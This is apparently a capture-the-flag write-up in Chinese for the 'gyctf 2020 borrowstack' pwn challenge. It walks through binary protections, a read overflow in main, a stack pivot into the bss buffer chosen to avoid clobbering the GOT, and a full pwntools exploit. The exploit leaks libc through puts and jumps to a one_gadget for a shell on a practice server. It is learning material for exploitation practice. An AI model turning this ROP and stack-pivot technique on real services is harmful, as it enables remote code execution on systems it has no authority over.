gyctf 2020 borrowstack
# gyctf 2020 borrowstack
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/gyctf_2020_borrowstack/gyctf_2020_borrowstack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-60h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, &buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
one_gadget如下:
one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 思路分析
目前信息:
main
函数buf
缓冲区有0x10
大小可以溢出bank
变量在bss
段,地址可确定- 无
system
函数,无/bin/sh
字符串 - No canary found
- NX enabled
- No PIE
坑
bss
段上的bank
距离got
表太近,使rop
链在执行时覆盖了got
表内容,导致失败
- 思路:
- 可溢出大小太短,无法一次性构造
payload
完成控制程序执行流,考虑在第一次溢出将栈迁移至bank
处,泄漏libc
找到one_gadget
,二次溢出到one_gadget
处获得shell
# exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
pwnfile = '/root/pwn/buuctf/gyctf_2020_borrowstack/gyctf_2020_borrowstack'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 29600)
elf = ELF(pwnfile)
padding = 0x60+8
bss_bank = 0x601080
leave_ret = 0x400699
pop_rdi_ret = 0x400703
ret = 0x4004c9
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
csu_front = 0x4006E0
csu_rear = 0x4006FA
payload = flat([cyclic(padding-8), bss_bank+0xa0, leave_ret])
# bss段上的bank离got表太近,为了防止覆盖got表,这里选择迁移到bss_bank+0xa0处
io.sendafter('Tell me what you want\n', payload)
payload = flat([cyclic(0xa0), bss_bank+0x100, pop_rdi_ret,libc_start_main_got, puts_plt, main_addr])
io.sendafter('Done!You can check and use your borrow stack now!\n', payload)
leak_libc_start_main = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success("leak_libc_start_main: " + hex(leak_libc_start_main))
# 理论上接下来ret2libc即可,但因为栈已经被迁移至了bss段
# 而返回main处要处理sub rsp,60h这一条指令的同时也要解决后面双栈迁移
# 这样套娃逻辑较为混乱,所以选择one_gadget
libc = LibcSearcher('__libc_start_main', leak_libc_start_main)
# 泄漏了几个libc 可以在/LibcSearcher/libc-database/db 找泄漏出的libc对应的one_gadget
libc_base = leak_libc_start_main-libc.dump('__libc_start_main')
one_gadget = libc_base + 0x4526a
payload = flat([cyclic(padding), one_gadget])
# 此时rsp+0x30就是null,不需要用ret调整rsp的位置
io.send(payload)
io.send('0xdeadbeef')
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
上次更新: 2022/08/15, 00:29:49